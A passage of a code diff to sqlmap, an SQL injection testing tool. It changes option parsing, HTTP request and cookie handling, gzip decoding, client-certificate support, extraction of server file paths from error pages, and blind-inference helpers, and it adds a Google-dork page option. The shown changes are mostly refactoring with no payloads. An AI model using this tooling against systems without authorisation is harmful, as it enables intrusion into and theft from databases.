This function calls a class to extract information from the given
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from optparse import OptionError
|
from optparse import OptionError
|
||||||
|
@ -33,7 +31,6 @@ from optparse import OptionParser
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
def cmdLineParser():
|
def cmdLineParser():
|
||||||
"""
|
"""
|
||||||
This function parses the command line parameters and arguments
|
This function parses the command line parameters and arguments
|
||||||
|
@ -75,8 +72,8 @@ def cmdLineParser():
|
||||||
request.add_option("--cookie", dest="cookie",
|
request.add_option("--cookie", dest="cookie",
|
||||||
help="HTTP Cookie header")
|
help="HTTP Cookie header")
|
||||||
|
|
||||||
request.add_option("--referer", dest="referer",
|
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
||||||
help="HTTP Referer header")
|
help="Ignore Set-Cookie header from response")
|
||||||
|
|
||||||
request.add_option("--user-agent", dest="agent",
|
request.add_option("--user-agent", dest="agent",
|
||||||
help="HTTP User-Agent header")
|
help="HTTP User-Agent header")
|
||||||
|
@ -85,6 +82,9 @@ def cmdLineParser():
|
||||||
help="Load a random HTTP User-Agent "
|
help="Load a random HTTP User-Agent "
|
||||||
"header from file")
|
"header from file")
|
||||||
|
|
||||||
|
request.add_option("--referer", dest="referer",
|
||||||
|
help="HTTP Referer header")
|
||||||
|
|
||||||
request.add_option("--headers", dest="headers",
|
request.add_option("--headers", dest="headers",
|
||||||
help="Extra HTTP headers newline separated")
|
help="Extra HTTP headers newline separated")
|
||||||
|
|
||||||
|
@ -195,7 +195,6 @@ def cmdLineParser():
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Perform an extensive DBMS version fingerprint")
|
help="Perform an extensive DBMS version fingerprint")
|
||||||
|
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||||
"be used to enumerate the back-end database "
|
"be used to enumerate the back-end database "
|
||||||
|
@ -377,17 +376,20 @@ def cmdLineParser():
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||||
|
|
||||||
|
miscellaneous.add_option("-s", dest="sessionFile",
|
||||||
|
help="Save and resume all data retrieved "
|
||||||
|
"on a session file")
|
||||||
|
|
||||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||||
help="Display for each output the "
|
help="Display for each output the "
|
||||||
"estimated time of arrival")
|
"estimated time of arrival")
|
||||||
|
|
||||||
|
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
||||||
|
help="Use google dork results from specified page number")
|
||||||
|
|
||||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||||
help="Update sqlmap to the latest stable version")
|
help="Update sqlmap to the latest stable version")
|
||||||
|
|
||||||
miscellaneous.add_option("-s", dest="sessionFile",
|
|
||||||
help="Save and resume all data retrieved "
|
|
||||||
"on a session file")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||||
help="Save options on a configuration INI file")
|
help="Save options on a configuration INI file")
|
||||||
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from ConfigParser import NoSectionError
|
from ConfigParser import NoSectionError
|
||||||
from ConfigParser import ConfigParser
|
from ConfigParser import ConfigParser
|
||||||
|
|
||||||
|
@ -33,10 +31,8 @@ from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
|
|
||||||
|
|
||||||
config = None
|
config = None
|
||||||
|
|
||||||
|
|
||||||
def configFileProxy(section, option, boolean=False, integer=False):
|
def configFileProxy(section, option, boolean=False, integer=False):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
|
@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
|
||||||
debugMsg += "ignoring. Skipping to next."
|
debugMsg += "ignoring. Skipping to next."
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
||||||
def configFileParser(configFile):
|
def configFileParser(configFile):
|
||||||
"""
|
"""
|
||||||
Parse configuration file and save settings into the configuration
|
Parse configuration file and save settings into the configuration
|
||||||
|
|
|
@ -22,15 +22,10 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
|
|
||||||
|
|
||||||
class FingerprintHandler(ContentHandler):
|
class FingerprintHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse and extract information from
|
This class defines methods to parse and extract information from
|
||||||
|
@ -45,7 +40,6 @@ class FingerprintHandler(ContentHandler):
|
||||||
self.__techVersion = None
|
self.__techVersion = None
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
|
@ -61,7 +55,6 @@ class FingerprintHandler(ContentHandler):
|
||||||
for v in value.split("|"):
|
for v in value.split("|"):
|
||||||
self.__info[key].add(v)
|
self.__info[key].add(v)
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "regexp":
|
if name == "regexp":
|
||||||
self.__regexp = sanitizeStr(attrs.get("value"))
|
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
@ -33,7 +31,6 @@ from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.parse.handler import FingerprintHandler
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
def headersParser(headers):
|
def headersParser(headers):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTTP headers to
|
This function calls a class that parses the input HTTP headers to
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
|
|
||||||
|
|
||||||
class htmlHandler(ContentHandler):
|
class htmlHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse the input HTML page to
|
This class defines methods to parse the input HTML page to
|
||||||
|
@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
|
||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
self.__dbms = attrs.get("value")
|
self.__dbms = attrs.get("value")
|
||||||
|
@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
|
||||||
self.dbms = self.__dbms
|
self.dbms = self.__dbms
|
||||||
self.__match = None
|
self.__match = None
|
||||||
|
|
||||||
|
|
||||||
def htmlParser(page):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
|
@ -34,7 +32,6 @@ from lib.core.data import queries
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
|
|
||||||
|
|
||||||
class queriesHandler(ContentHandler):
|
class queriesHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse the default DBMS queries
|
This class defines methods to parse the default DBMS queries
|
||||||
|
@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
|
||||||
self.__dbms = ''
|
self.__dbms = ''
|
||||||
self.__queries = advancedDict()
|
self.__queries = advancedDict()
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
data = sanitizeStr(attrs.get("value"))
|
data = sanitizeStr(attrs.get("value"))
|
||||||
|
@ -150,7 +146,6 @@ class queriesHandler(ContentHandler):
|
||||||
self.__count = sanitizeStr(attrs.get("count"))
|
self.__count = sanitizeStr(attrs.get("count"))
|
||||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||||
|
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
queries[self.__dbms] = self.__queries
|
queries[self.__dbms] = self.__queries
|
||||||
|
@ -209,7 +204,6 @@ class queriesHandler(ContentHandler):
|
||||||
|
|
||||||
self.__queries.dumpTable = self.__dumpTable
|
self.__queries.dumpTable = self.__dumpTable
|
||||||
|
|
||||||
|
|
||||||
def queriesParser():
|
def queriesParser():
|
||||||
"""
|
"""
|
||||||
This function calls a class to parse the default DBMS queries
|
This function calls a class to parse the default DBMS queries
|
||||||
|
|
|
@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import gzip
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import StringIO
|
||||||
|
import zlib
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.parse.headers import headersParser
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
|
|
||||||
|
|
||||||
def forgeHeaders(cookie, ua):
|
def forgeHeaders(cookie, ua):
|
||||||
"""
|
"""
|
||||||
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
||||||
|
@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
|
||||||
|
|
||||||
return headers
|
return headers
|
||||||
|
|
||||||
|
|
||||||
def parseResponse(page, headers):
|
def parseResponse(page, headers):
|
||||||
"""
|
"""
|
||||||
@param page: the page to parse to feed the knowledge base htmlFp
|
@param page: the page to parse to feed the knowledge base htmlFp
|
||||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||||
through the web application) list and absFilePaths (absolute file
|
through the web application) list and absFilePaths (absolute file
|
||||||
paths) set.
|
paths) set.
|
||||||
|
|
||||||
@todo: in the future parse the page content scrolling an XML file to
|
|
||||||
identify the dynamic language used and, most, the absolute path,
|
|
||||||
like for DBMS error messages (ERRORS_XML), see above.
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if headers:
|
if headers:
|
||||||
|
@ -73,11 +68,29 @@ def parseResponse(page, headers):
|
||||||
# Detect injectable page absolute system path
|
# Detect injectable page absolute system path
|
||||||
# NOTE: this regular expression works if the remote web application
|
# NOTE: this regular expression works if the remote web application
|
||||||
# is written in PHP and debug/error messages are enabled.
|
# is written in PHP and debug/error messages are enabled.
|
||||||
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
|
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
|
||||||
|
|
||||||
for absFilePathRegExp in absFilePathsRegExp:
|
for absFilePathRegExp in absFilePathsRegExp:
|
||||||
absFilePaths = re.findall(absFilePathRegExp, page, re.I)
|
reobj = re.compile(absFilePathRegExp)
|
||||||
|
|
||||||
|
for match in reobj.finditer(page):
|
||||||
|
absFilePath = match.group()
|
||||||
|
|
||||||
for absFilePath in absFilePaths:
|
|
||||||
if absFilePath not in kb.absFilePaths:
|
if absFilePath not in kb.absFilePaths:
|
||||||
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||||
|
|
||||||
|
def decodePage(page, encoding):
|
||||||
|
"""
|
||||||
|
Decode gzip/deflate HTTP response
|
||||||
|
"""
|
||||||
|
|
||||||
|
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
|
||||||
|
if encoding == 'deflate':
|
||||||
|
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
|
||||||
|
data = StringIO.StringIO(zlib.decompress(page, -15))
|
||||||
|
else:
|
||||||
|
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
|
||||||
|
|
||||||
|
page = data.read()
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
12
lib/request/certhandler.py
Normal file
12
lib/request/certhandler.py
Normal file
|
@ -0,0 +1,12 @@
|
||||||
|
import httplib
|
||||||
|
import urllib2
|
||||||
|
|
||||||
|
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
||||||
|
def __init__(self, key_file, cert_file):
|
||||||
|
urllib2.HTTPSHandler.__init__(self)
|
||||||
|
self.key_file = key_file
|
||||||
|
self.cert_file = cert_file
|
||||||
|
def https_open(self, req):
|
||||||
|
return self.do_open(self.getConnection, req)
|
||||||
|
def getConnection(self, host):
|
||||||
|
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
|
@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.session import setMatchRatio
|
from lib.core.session import setMatchRatio
|
||||||
|
|
||||||
|
|
||||||
def comparison(page, headers=None, getSeqMatcher=False):
|
def comparison(page, headers=None, getSeqMatcher=False):
|
||||||
regExpResults = None
|
regExpResults = None
|
||||||
|
|
||||||
|
@ -73,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
||||||
|
|
||||||
# If the url is stable and we did not set yet the match ratio and the
|
# If the url is stable and we did not set yet the match ratio and the
|
||||||
# current injected value changes the url page content
|
# current injected value changes the url page content
|
||||||
if conf.matchRatio == None:
|
if conf.matchRatio is None:
|
||||||
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
|
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
|
||||||
logger.debug("setting match ratio to %.3f" % ratio)
|
logger.debug("setting match ratio to %.3f" % ratio)
|
||||||
conf.matchRatio = ratio
|
conf.matchRatio = ratio
|
||||||
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
|
|
||||||
|
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
|
||||||
logger.debug("setting match ratio to default value 0.900")
|
logger.debug("setting match ratio to default value 0.900")
|
||||||
conf.matchRatio = 0.900
|
conf.matchRatio = 0.900
|
||||||
|
|
||||||
if conf.matchRatio != None:
|
if conf.matchRatio is not None:
|
||||||
setMatchRatio()
|
setMatchRatio()
|
||||||
|
|
||||||
# If it has been requested to return the ratio and not a comparison
|
# If it has been requested to return the ratio and not a comparison
|
||||||
|
@ -93,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
||||||
# hash of the original one
|
# hash of the original one
|
||||||
# NOTE: old implementation, it did not handle automatically the fact
|
# NOTE: old implementation, it did not handle automatically the fact
|
||||||
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
|
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
|
||||||
#elif conf.md5hash != None:
|
#elif conf.md5hash is not None:
|
||||||
# return conf.md5hash == md5hash(page)
|
# return conf.md5hash == md5hash(page)
|
||||||
|
|
||||||
# If the url is not stable it returns sequence matcher between the
|
# If the url is not stable it returns sequence matcher between the
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
|
@ -33,11 +31,13 @@ import urlparse
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from lib.contrib import multipartpost
|
from lib.contrib import multipartpost
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
from lib.request.basic import decodePage
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import parseResponse
|
from lib.request.basic import parseResponse
|
||||||
from lib.request.comparison import comparison
|
from lib.request.comparison import comparison
|
||||||
|
@ -48,12 +48,10 @@ class Connect:
|
||||||
This class defines methods used to perform HTTP requests
|
This class defines methods used to perform HTTP requests
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def __getPageProxy(**kwargs):
|
def __getPageProxy(**kwargs):
|
||||||
return Connect.getPage(**kwargs)
|
return Connect.getPage(**kwargs)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getPage(**kwargs):
|
def getPage(**kwargs):
|
||||||
"""
|
"""
|
||||||
|
@ -61,7 +59,7 @@ class Connect:
|
||||||
the target url page content
|
the target url page content
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||||
time.sleep(conf.delay)
|
time.sleep(conf.delay)
|
||||||
|
|
||||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||||
|
@ -85,23 +83,24 @@ class Connect:
|
||||||
else:
|
else:
|
||||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||||
|
|
||||||
if silent is True:
|
if silent:
|
||||||
socket.setdefaulttimeout(3)
|
socket.setdefaulttimeout(3)
|
||||||
|
|
||||||
if direct:
|
if direct:
|
||||||
if "?" in url:
|
if "?" in url:
|
||||||
url, params = url.split("?")
|
url, params = url.split("?")
|
||||||
params = urlencode(params).replace("%%", "%")
|
params = urlencode(params)
|
||||||
url = "%s?%s" % (url, params)
|
url = "%s?%s" % (url, params)
|
||||||
requestMsg += "?%s" % params
|
requestMsg += "?%s" % params
|
||||||
|
|
||||||
if post:
|
|
||||||
post = urlencode(post).replace("%%", "%")
|
|
||||||
|
|
||||||
elif multipart:
|
elif multipart:
|
||||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||||
conn = multipartOpener.open(url, multipart)
|
conn = multipartOpener.open(url, multipart)
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
|
@ -110,7 +109,7 @@ class Connect:
|
||||||
get = conf.parameters["GET"]
|
get = conf.parameters["GET"]
|
||||||
|
|
||||||
if get:
|
if get:
|
||||||
get = urlencode(get).replace("%%", "%")
|
get = urlencode(get)
|
||||||
url = "%s?%s" % (url, get)
|
url = "%s?%s" % (url, get)
|
||||||
requestMsg += "?%s" % get
|
requestMsg += "?%s" % get
|
||||||
|
|
||||||
|
@ -118,18 +117,11 @@ class Connect:
|
||||||
if conf.parameters.has_key("POST") and not post:
|
if conf.parameters.has_key("POST") and not post:
|
||||||
post = conf.parameters["POST"]
|
post = conf.parameters["POST"]
|
||||||
|
|
||||||
post = urlencode(post).replace("%%", "%")
|
|
||||||
|
|
||||||
requestMsg += " HTTP/1.1"
|
requestMsg += " HTTP/1.1"
|
||||||
|
|
||||||
if cookie:
|
|
||||||
# TODO: sure about encoding the cookie?
|
|
||||||
#cookie = urlencode(cookie).replace("%%", "%")
|
|
||||||
cookie = cookie.replace("%%", "%")
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Perform HTTP request
|
# Perform HTTP request
|
||||||
headers = forgeHeaders(cookie, ua)
|
headers = forgeHeaders(sanitizeCookie(cookie), ua)
|
||||||
req = urllib2.Request(url, post, headers)
|
req = urllib2.Request(url, post, headers)
|
||||||
conn = urllib2.urlopen(req)
|
conn = urllib2.urlopen(req)
|
||||||
|
|
||||||
|
@ -141,6 +133,7 @@ class Connect:
|
||||||
|
|
||||||
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
||||||
|
|
||||||
|
if not conf.dropSetCookie:
|
||||||
for _, cookie in enumerate(conf.cj):
|
for _, cookie in enumerate(conf.cj):
|
||||||
if not cookieStr:
|
if not cookieStr:
|
||||||
cookieStr = "Cookie: "
|
cookieStr = "Cookie: "
|
||||||
|
@ -171,6 +164,9 @@ class Connect:
|
||||||
status = conn.msg
|
status = conn.msg
|
||||||
responseHeaders = conn.info()
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
if e.code == 401:
|
if e.code == 401:
|
||||||
exceptionMsg = "not authorized, try to provide right HTTP "
|
exceptionMsg = "not authorized, try to provide right HTTP "
|
||||||
|
@ -208,7 +204,7 @@ class Connect:
|
||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
if silent is True:
|
if silent:
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
elif conf.retriesCount < conf.retries:
|
elif conf.retriesCount < conf.retries:
|
||||||
|
@ -240,7 +236,6 @@ class Connect:
|
||||||
|
|
||||||
return page, responseHeaders
|
return page, responseHeaders
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
@ -44,7 +42,6 @@ from lib.techniques.blind.inference import bisection
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
|
||||||
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
|
||||||
|
@ -67,7 +64,6 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
outputs = []
|
outputs = []
|
||||||
origExpr = None
|
origExpr = None
|
||||||
|
@ -87,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||||
else:
|
else:
|
||||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||||
|
|
||||||
if resumeValue == True:
|
if resumeValue:
|
||||||
output = resume(expressionReplaced, payload)
|
output = resume(expressionReplaced, payload)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
|
@ -105,7 +101,6 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
|
|
||||||
|
|
||||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query characted by character taking
|
Retrieve the output of a SQL query characted by character taking
|
||||||
|
@ -124,15 +119,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||||
untilLimitChar = None
|
untilLimitChar = None
|
||||||
untilOrderChar = None
|
untilOrderChar = None
|
||||||
|
|
||||||
if resumeValue == True:
|
if resumeValue:
|
||||||
output = resume(expression, payload)
|
output = resume(expression, payload)
|
||||||
else:
|
else:
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
|
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
|
||||||
return output
|
return output
|
||||||
|
|
||||||
if unpack == False:
|
if not unpack:
|
||||||
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
|
@ -205,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
test = "n"
|
test = "n"
|
||||||
elif batch == True:
|
elif batch:
|
||||||
test = "y"
|
test = "y"
|
||||||
else:
|
else:
|
||||||
message = "can the SQL query provided return "
|
message = "can the SQL query provided return "
|
||||||
|
